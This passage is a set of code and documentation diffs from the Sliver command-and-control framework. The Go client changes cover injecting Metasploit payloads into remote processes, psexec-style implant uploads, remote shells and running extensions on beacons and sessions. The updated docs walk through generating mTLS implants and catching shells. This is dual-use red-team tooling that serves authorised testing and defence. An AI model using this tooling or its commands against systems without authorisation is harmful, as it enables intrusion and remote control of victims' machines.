for index, segment := range pathSegments {
|
||||
if segment == "tag" && index+1 < len(pathSegments) {
|
||||
return pathSegments[index+1], nil
|
||||
}
|
||||
}
|
||||
return "", errors.New("tag not found in location header")
|
||||
}
|
||||
|
||||
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
|
||||
var sig minisign.Signature
|
||||
err := sig.UnmarshalText(data)
|
||||
|
||||
@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
outFilePath, _ = ioutil.TempFile("", outFile)
|
||||
}
|
||||
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
||||
|
||||
var oldState *terminal.State
|
||||
var oldState *term.State
|
||||
if !noPty {
|
||||
oldState, err = terminal.MakeRaw(0)
|
||||
oldState, err = term.MakeRaw(0)
|
||||
log.Printf("Saving terminal state: %v", oldState)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save terminal state\n")
|
||||
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
|
||||
if !noPty {
|
||||
log.Printf("Restoring terminal state ...")
|
||||
terminal.Restore(0, oldState)
|
||||
term.Restore(0, oldState)
|
||||
}
|
||||
|
||||
log.Printf("Exit interactive")
|
||||
|
||||
@@ -33,8 +33,8 @@ import (
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
|
||||
if pid == -1 {
|
||||
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMsfRemote - Print the results of the remote injection attempt
|
||||
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
|
||||
if msfRemote.Response == nil {
|
||||
con.PrintErrorf("Empty response from msf payload injection task")
|
||||
return
|
||||
}
|
||||
if msfRemote.Response.Err != "" {
|
||||
con.PrintInfof("Executed payload on target")
|
||||
} else {
|
||||
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
|
||||
}
|
||||
}
|
||||
@@ -25,14 +25,15 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
con.PrintInfof("Executed payload on target\n")
|
||||
PrintMsfRemote(msfTask, con)
|
||||
}
|
||||
}
|
||||
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
|
||||
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
|
||||
filename := randomString(10)
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
|
||||
|
||||
@@ -38,11 +38,13 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
// ManifestFileName - Extension manifest file name
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
@@ -113,7 +115,7 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// ParseExtensions - Parse extension files
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
@@ -178,11 +180,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
// f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
@@ -212,27 +214,26 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Try to find the extension in the loaded extensions
|
||||
if len(session.Extensions) == 0 {
|
||||
if checkCache {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("List extensions error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
} else {
|
||||
extensionList = session.Extensions
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
@@ -248,7 +249,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
@@ -258,31 +259,17 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
|
||||
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
// Update session info
|
||||
if filepath.Ext(binPath) != ".o" {
|
||||
// Don't update session for BOFs, we don't cache them
|
||||
// on the implant side (yet)
|
||||
// update the Session info
|
||||
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
Extensions: extensionList,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
@@ -295,10 +282,10 @@ func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest,
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := loadedExtensions[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
|
||||
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -306,23 +293,31 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, depExt, depBinData, session, ctx)
|
||||
return registerExtension(goos, depExt, depBinData, ctx, con)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
callExtension *sliverpb.CallExtension
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
if !ok {
|
||||
@@ -330,23 +325,15 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, ext); err != nil {
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -361,7 +348,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
@@ -373,10 +360,11 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
@@ -385,22 +373,39 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("Call extension error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
if callExtResp.Response != nil && callExtResp.Response.Async {
|
||||
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, callExtResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(callExtResp.Response)
|
||||
} else {
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtOutput - Print the ext execution output
|
||||
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
if len(callExtension.Output) > 0 {
|
||||
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(callExtension.Output)
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
|
||||
@@ -157,8 +157,8 @@ func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for _, build := range builds.Configs {
|
||||
if build.Name == name {
|
||||
for sliverName, build := range builds.Configs {
|
||||
if sliverName == name {
|
||||
return build
|
||||
}
|
||||
}
|
||||
|
||||
@@ -46,7 +46,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
} else if beacon != nil {
|
||||
|
||||
@@ -61,7 +61,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
for _, session := range sessions.Sessions {
|
||||
keys = append(keys, session.ID)
|
||||
}
|
||||
sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
case "https":
|
||||
fallthrough
|
||||
case "http":
|
||||
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
|
||||
@@ -55,7 +55,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -69,7 +69,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
}
|
||||
}
|
||||
return
|
||||
|
||||
@@ -70,7 +70,7 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
|
||||
}
|
||||
if err == nil {
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.ID == id {
|
||||
if strings.HasPrefix(session.ID, id) {
|
||||
return session, nil, nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,27 +6,28 @@ date: 2021-07-07 09:01:33 -0500
|
||||
categories: sliver
|
||||
---
|
||||
|
||||
# 1. Server Setup
|
||||
|
||||
The first thing you'll need to do is setup a Sliver server.
|
||||
|
||||
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
|
||||
|
||||
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
|
||||
|
||||
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
|
||||
|
||||
|
||||
### MinGW Setup (Optional)
|
||||
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
|
||||
|
||||
## Server Setup
|
||||
|
||||
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
|
||||
|
||||
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
|
||||
|
||||
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
|
||||
|
||||
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
|
||||
|
||||
### MinGW Setup (Optional, Recommended)
|
||||
|
||||
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
|
||||
|
||||
#### Linux
|
||||
#### Linux (Debian-based)
|
||||
|
||||
```
|
||||
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
apt install mingw-w64
|
||||
```
|
||||
|
||||
#### MacOS
|
||||
@@ -35,39 +36,65 @@ apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
brew install mingw-w64
|
||||
```
|
||||
|
||||
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
|
||||
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
|
||||
|
||||
### Metasploit Setup (Optional)
|
||||
|
||||
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
|
||||
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
|
||||
|
||||
## Implants Beacon vs. Session
|
||||
|
||||
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
|
||||
|
||||
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
|
||||
|
||||
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
|
||||
|
||||
Some commands such as `shell` and `portfwd` only work over interactive sessions.
|
||||
|
||||
## Generating Implants
|
||||
|
||||
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
|
||||
|
||||
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
|
||||
|
||||
#### Session Mode
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop
|
||||
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
|
||||
|
||||
[*] Generating new windows/amd64 Sliver binary
|
||||
[*] Build completed in 00:10:16
|
||||
[*] Build completed in 00:00:16
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
|
||||
```
|
||||
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
|
||||
#### Beacon Mode
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
|
||||
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
|
||||
|
||||
[*] Generating new windows/amd64 beacon implant binary (1m0s)
|
||||
[*] Symbol obfuscation is enabled
|
||||
[*] Build completed in 00:00:27
|
||||
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
|
||||
```
|
||||
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
|
||||
|
||||
Some commands/features may not work on "unsupported" platforms.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
|
||||
|
||||
[*] Generating new darwin/amd64 Sliver binary
|
||||
[!] Symbol obfuscation is disabled
|
||||
[*] Build completed in 00:00:03
|
||||
[*] Build completed in 00:00:09
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
|
||||
```
|
||||
|
||||
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
|
||||
The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
|
||||
|
||||
```
|
||||
sliver > slivers
|
||||
sliver > implants
|
||||
|
||||
Name OS/Arch Debug Format
|
||||
==== ======= ===== ======
|
||||
@@ -83,7 +110,7 @@ SICK_SPY darwin/amd64 false EXECUTABLE
|
||||
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
|
||||
|
||||
```
|
||||
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
|
||||
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
|
||||
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
|
||||
```
|
||||
@@ -96,7 +123,7 @@ For addition details about each C2 please see:
|
||||
|
||||
## Getting Shells
|
||||
|
||||
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
|
||||
